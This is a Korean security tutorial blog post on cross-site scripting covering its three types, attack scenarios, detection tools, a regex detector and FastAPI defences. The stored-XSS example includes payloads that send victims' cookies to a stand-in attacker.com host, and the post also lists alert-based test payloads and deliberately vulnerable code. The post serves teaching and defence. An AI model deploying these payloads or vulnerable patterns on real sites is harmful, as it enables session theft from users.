크로스 사이트 스크립팅 (Cross-Site Scripting, XSS)

XSS 완전 정복 - 티스토리 블로그 포스트
OWASP A05:2025 · 애플리케이션 보안

크로스 사이트 스크립팅
XSS 완전 정복

웹 취약점 중 가장 오래됐지만 여전히 가장 많이 발생하는 공격, XSS의 원리부터 방어 코드까지 실무 중심으로 완전히 분석합니다.

📅 2025
📚 애플리케이션 보안 시리즈
읽는 데 약 15분
🎯 OWASP Top 10 — A05:2025 Injection

XSS란 무엇인가?

크로스 사이트 스크립팅(Cross-Site Scripting, XSS)은 공격자가 신뢰받는 웹사이트에 악성 스크립트를 주입하여, 그 스크립트가 다른 사용자의 브라우저에서 실행되도록 만드는 공격입니다.

이름에 왜 "스크립팅"이 붙었을까요? 핵심은 스크립트(JavaScript)입니다. 브라우저는 서버에서 내려온 HTML 안에 있는 JavaScript를 기본적으로 신뢰하고 실행합니다. 공격자는 이 신뢰 관계를 악용하여 자신의 악성 코드를 "정상적인 페이지의 일부인 척" 심어 놓습니다.

🚨
OWASP Top 10 — A05:2025 Injection
XSS는 OWASP Top 10 2025(2025년 11월 공식 발표)에서 A05:2025 Injection 카테고리에 포함됩니다. 2021년 A03에서 A05로 순위가 조정됐지만, SQL Injection·OS Command Injection과 함께 여전히 38개 CWE를 포괄하는 핵심 취약점군입니다. 버그바운티 플랫폼 HackerOne 기준으로도 꾸준히 최다 신고 유형을 기록합니다.

한 줄 요약으로 이해하기

게시판에 글을 쓸 때, 글 내용 안에 <script>alert('해킹')</script>를 넣었더니 다른 사람이 그 글을 읽는 순간 팝업이 뜬다 — 이게 XSS의 가장 단순한 형태입니다. 팝업 대신 쿠키 탈취, 키로깅, 악성 사이트 리다이렉트로 이어지면 실제 공격이 됩니다.

XSS의 3가지 유형

TYPE — 01
Stored XSS
저장형 XSS
악성 스크립트가 서버 DB에 저장되어, 해당 페이지를 방문하는 모든 사용자에게 자동으로 실행됩니다. 게시판, 댓글, 프로필 등이 주요 타깃입니다.
⚠ 위험도: 매우 높음
TYPE — 02
Reflected XSS
반사형 XSS
공격 코드가 URL 파라미터에 담겨 서버에 전달되고, 서버가 그대로 응답에 반사(reflect)하면 피해자 브라우저에서 실행됩니다. 피싱 링크 형태로 유포됩니다.
⚠ 위험도: 높음
TYPE — 03
DOM-based XSS
DOM 기반 XSS
서버를 거치지 않고 클라이언트 측 JavaScript가 URL의 일부를 직접 DOM에 삽입할 때 발생합니다. 서버 로그에도 잡히지 않아 탐지가 어렵습니다.
⚡ 위험도: 높음 (스텔스)
💡
세 유형의 차이 핵심 암기법
Stored = DB에 저장 → 모든 방문자 피해 (폭탄 설치형)
Reflected = URL에 실려 즉시 반사 → 클릭한 사람만 피해 (총알형)
DOM-based = 서버 무관, 브라우저 내에서만 발생 (은밀형)

공격 시나리오 — 실제로 어떻게 터지나?

시나리오 1 — Stored XSS: 게시판 댓글 공격

공격자가 게시판 댓글에 아래와 같은 내용을 입력합니다. 서버가 이 내용을 검증 없이 DB에 저장하면, 이후 해당 글을 읽는 모든 사용자의 브라우저에서 스크립트가 실행됩니다.

HTML — 공격자 입력값 💀 악성 페이로드
<!-- 공격자가 댓글 입력창에 작성하는 내용 -->
<script>
  // 피해자의 쿠키(세션)를 공격자 서버로 전송
  const stolen = document.cookie;
  new Image().src = `https://attacker.com/steal?c=${stolen}`;
</script>

<!-- 또는 img 태그를 이용한 방법 (스크립트 필터 우회) -->
<img src="x" onerror="fetch('https://attacker.com/?c='+document.cookie)">

Stored XSS 공격 흐름

😈
공격자
악성 스크립트 삽입
DB 저장
🗄️
서버 DB
스크립트 포함된 데이터 보관
페이지 응답
👤
피해자
게시글 클릭 → 자동 실행
데이터 유출
💻
공격자 서버
세션·쿠키 수신

시나리오 2 — Reflected XSS: 검색어 반사 공격

검색 기능을 가진 사이트에서 검색어를 URL 파라미터로 받아 그대로 HTML에 출력할 때 발생합니다.

Python — 취약한 Flask/FastAPI 코드 ❌ 취약한 코드
# ❌ 취약한 코드 — query를 그대로 HTML에 삽입
from fastapi import FastAPI
from fastapi.responses import HTMLResponse

app = FastAPI()

@app.get("/search")
async def search(q: str):
    # URL: /search?q=<script>alert(1)</script>
    # → 브라우저에서 스크립트 실행됨!
    return HTMLResponse(f"<p>검색 결과: {q}</p>")
    #                              ↑ 검증 없이 그대로 출력

시나리오 3 — DOM-based XSS: URL 해시 악용

JavaScript — DOM-based XSS 취약 코드 ❌ 취약한 코드
// ❌ URL: https://example.com/#<img src=x onerror=alert(1)>
// location.hash를 그대로 innerHTML에 삽입 → 즉시 실행

const name = location.hash.slice(1); // "#" 제거
document.getElementById('greeting').innerHTML = `환영합니다, ${name}`;
//                                             ↑ innerHTML = HTML 파싱 → 스크립트 실행!

XSS로 무엇을 할 수 있나?

공격 유형 방법 심각도
세션 하이재킹
Session Hijacking
document.cookie를 탈취하여 공격자 서버로 전송 → 로그인 세션 탈취 매우 높음
키로깅
Keylogging
페이지에 keydown 이벤트 리스너 주입 → 입력한 아이디/비밀번호 수집 매우 높음
피싱 페이지 생성
Phishing
정상 사이트 UI를 가짜 로그인 폼으로 교체 → 자격증명 수집 높음
CSRF 공격 연계
CSRF Chaining
XSS로 피해자 권한을 이용해 CSRF 공격 자동 실행 (계정 삭제, 송금 등) 매우 높음
악성 사이트 리다이렉트
Redirect
location.href를 통해 피해자를 악성 사이트로 강제 이동 중간
UI 변조
Defacement
페이지 내용을 공격자가 원하는 내용으로 변경 낮음

탐지 방법

수동 테스트 — 기본 페이로드 삽입

모든 사용자 입력 필드(검색창, 댓글, URL 파라미터, HTTP 헤더 등)에 아래 페이로드를 삽입하여 실행 여부를 확인합니다.

XSS — 기본 테스트 페이로드 목록 🔍 탐지용
# 기본 스크립트 태그
<script>alert('XSS')</script>

# 이벤트 핸들러 이용 (스크립트 태그 필터링 우회)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

# HTML 인코딩 우회 시도
&lt;script&gt;alert(1)&lt;/script&gt;

# JavaScript URI
<a href="javascript:alert(1)">클릭</a>

# DOM-based 테스트용 URL
https://target.com/page#<img src=x onerror=alert(1)>

자동화 도구

🛠️
XSS 탐지 자동화 도구
Burp Suite — 프록시를 통해 요청/응답을 가로채 XSS 페이로드 자동 삽입 테스트 (Scanner 기능)
OWASP ZAP — 무료 오픈소스 DAST 도구, XSS 자동 스캔 지원
XSStrike — Python 기반 XSS 특화 자동화 도구
Dalfox — Go 기반 XSS 스캐너, CI/CD 파이프라인 통합 가능

Python으로 XSS 페이로드 탐지 로직 구현

Python — XSS 패턴 탐지기 🔍 탐지 코드
import re

# XSS 위험 패턴 정의
XSS_PATTERNS = [
    re.compile(r'<script[\s\S]*?>', re.IGNORECASE),       # <script> 태그
    re.compile(r'on\w+\s*=',         re.IGNORECASE),       # onerror=, onload= 등
    re.compile(r'javascript\s*:',     re.IGNORECASE),       # javascript: URI
    re.compile(r'<iframe[\s\S]*?>',   re.IGNORECASE),       # <iframe>
    re.compile(r'<img[^>]+onerror',   re.IGNORECASE),       # img onerror
    re.compile(r'document\.(cookie|write|location)', re.IGNORECASE),
]

def detect_xss(user_input: str) -> dict:
    """입력값에서 XSS 페이로드 탐지"""
    detected = []
    for pattern in XSS_PATTERNS:
        if pattern.search(user_input):
            detected.append(pattern.pattern)

    return {
        "is_xss": len(detected) > 0,
        "matched_patterns": detected,
        "risk_level": "HIGH" if detected else "SAFE"
    }

# 테스트
print(detect_xss('<script>alert(1)</script>'))
# {'is_xss': True, 'matched_patterns': [...], 'risk_level': 'HIGH'}

방어 코드 — Python / FastAPI 실전

🛡️
XSS 방어의 3대 원칙
① 출력 인코딩(Output Encoding) — HTML에 출력 시 특수문자를 HTML 엔티티로 변환
② 입력 검증(Input Validation) — 허용된 값만 통과시키는 화이트리스트 방식
③ CSP 헤더(Content Security Policy) — 브라우저가 실행할 수 있는 스크립트 출처 제한

① 출력 인코딩 — HTML 이스케이핑

Python — FastAPI 출력 인코딩 ✅ 안전한 코드
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from markupsafe import escape  # pip install markupsafe

app = FastAPI()

@app.get("/search")
async def search(q: str):
    # ✅ escape()로 HTML 특수문자를 엔티티로 변환
    # < → &lt;   > → &gt;   " → &quot;   ' → &#39;
    safe_q = escape(q)
    return HTMLResponse(f"<p>검색 결과: {safe_q}</p>")

# 입력: <script>alert(1)</script>
# 출력: &lt;script&gt;alert(1)&lt;/script&gt;  ← 브라우저가 텍스트로 표시, 실행 안 됨

② HTML 새니타이징 — 허용 태그만 통과

사용자가 HTML 형식의 입력을 할 수 있어야 하는 경우(리치 텍스트 에디터 등), 이스케이핑 대신 허용된 태그만 남기고 나머지를 제거하는 새니타이징을 사용합니다.

Python — bleach를 이용한 HTML 새니타이징 ✅ 안전한 코드
import bleach  # pip install bleach

# 허용할 태그와 속성 명시 (화이트리스트 방식)
ALLOWED_TAGS = ['b', 'i', 'u', 'em', 'strong', 'p', 'br', 'ul', 'li']
ALLOWED_ATTRS = {'a': ['href', 'title']}

def sanitize_html(user_html: str) -> str:
    """허용된 HTML 태그만 유지, 나머지 제거"""
    return bleach.clean(
        user_html,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRS,
        strip=True  # 허용 안 된 태그 제거 (False면 이스케이프)
    )

# 테스트
evil = '<b>굵게</b><script>alert(1)</script><img onerror=alert(1) src=x>'
print(sanitize_html(evil))
# <b>굵게</b>  ← <script>와 <img onerror>는 제거됨

③ Content Security Policy (CSP) 헤더 설정

CSP는 브라우저에게 "이 도메인에서 온 스크립트만 실행해"라고 지시하는 HTTP 응답 헤더입니다. XSS가 성공해도 외부 서버로 데이터를 보내지 못하게 막습니다.

Python — FastAPI CSP 미들웨어 ✅ 보안 헤더 설정
from fastapi import FastAPI, Request
from fastapi.responses import Response
from starlette.middleware.base import BaseHTTPMiddleware

app = FastAPI()

class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        response = await call_next(request)
        # CSP: 같은 출처 스크립트만 허용, inline 스크립트 차단
        response.headers["Content-Security-Policy"] = (
            "default-src 'self'; "
            "script-src 'self'; "        # 외부 JS 차단
            "style-src 'self' 'unsafe-inline'; "
            "img-src 'self' data:; "
            "object-src 'none';"          # Flash 등 차단
        )
        # XSS 필터 강제 활성화 (구형 브라우저용)
        response.headers["X-XSS-Protection"] = "1; mode=block"
        # MIME 스니핑 차단
        response.headers["X-Content-Type-Options"] = "nosniff"
        return response

app.add_middleware(SecurityHeadersMiddleware)

④ HttpOnly 쿠키 — 세션 탈취 원천 차단

XSS가 성공하더라도 HttpOnly 속성이 설정된 쿠키는 document.cookie로 접근할 수 없습니다. 세션 하이재킹을 차단하는 마지막 방어선입니다.

Python — FastAPI 안전한 쿠키 설정 ✅ 쿠키 보안
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()

@app.post("/login")
async def login():
    response = JSONResponse({"message": "로그인 성공"})
    response.set_cookie(
        key="session_id",
        value="secure_session_token",
        httponly=True,   # ✅ JS에서 접근 불가 → XSS로 탈취 불가
        secure=True,    # ✅ HTTPS에서만 전송
        samesite="strict", # ✅ CSRF 방어
        max_age=3600     # 1시간 만료
    )
    return response

⑤ DOM-based XSS 방어 — 안전한 DOM API 사용

JavaScript — innerHTML 대신 textContent 사용 ✅ 안전한 코드
// ❌ 위험: innerHTML은 HTML을 파싱하여 스크립트 실행 가능
element.innerHTML = userInput;

// ✅ 안전: textContent는 텍스트로만 처리, 스크립트 실행 안 됨
element.textContent = userInput;

// ✅ 안전: createElement + createTextNode 조합
const p = document.createElement('p');
p.appendChild(document.createTextNode(userInput));

// ✅ DOMPurify 라이브러리 사용 (HTML 입력이 꼭 필요한 경우)
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

보안 체크리스트

📋
코드 리뷰 전 필수 확인 항목
모든 사용자 입력이 HTML에 출력되는 지점을 추적하고, 아래 체크리스트를 점검하세요.
# 항목 확인 방법 우선순위
1 모든 출력에 HTML 이스케이핑 적용 escape() 또는 템플릿 엔진 자동 이스케이핑 확인 필수
2 innerHTML 사용 지점 점검 코드에서 innerHTML 검색 → textContent로 교체 또는 DOMPurify 적용 필수
3 CSP 헤더 설정 응답 헤더에 Content-Security-Policy 존재 여부 확인 필수
4 HttpOnly 쿠키 설정 세션 쿠키에 httponly=True, secure=True 확인 필수
5 Jinja2/템플릿 자동 이스케이핑 autoescape=True 설정 확인, |safe 필터 사용 지점 점검 권장
6 URL 파라미터 출력 검증 쿼리스트링 값이 HTML에 그대로 출력되는 코드 확인 권장
7 DAST 자동 스캔 OWASP ZAP 또는 Burp Suite로 배포 전 자동 XSS 스캔 권장

🔐 핵심 요약

  • XSS는 공격자가 신뢰받는 웹페이지에 악성 스크립트를 주입하여 피해자 브라우저에서 실행시키는 공격입니다.
  • 유형은 저장형(Stored) · 반사형(Reflected) · DOM 기반(DOM-based) 3가지이며, 저장형의 피해 범위가 가장 넓습니다.
  • 결과는 단순 팝업이 아닌 세션 탈취 → 계정 장악, 키로깅, CSRF 연계 공격으로 이어질 수 있습니다.
  • 방어의 기본은 출력 인코딩이며, CSP 헤더와 HttpOnly 쿠키를 함께 적용하면 방어 레이어가 완성됩니다.
  • DOM-based XSS는 서버 로그에 안 잡히므로 innerHTML 사용 지점을 코드 리뷰로 반드시 점검해야 합니다.
  • OWASP ZAP, Burp Suite 등 DAST 도구로 배포 전 자동 스캔을 CI/CD 파이프라인에 통합하는 것이 실무 표준입니다.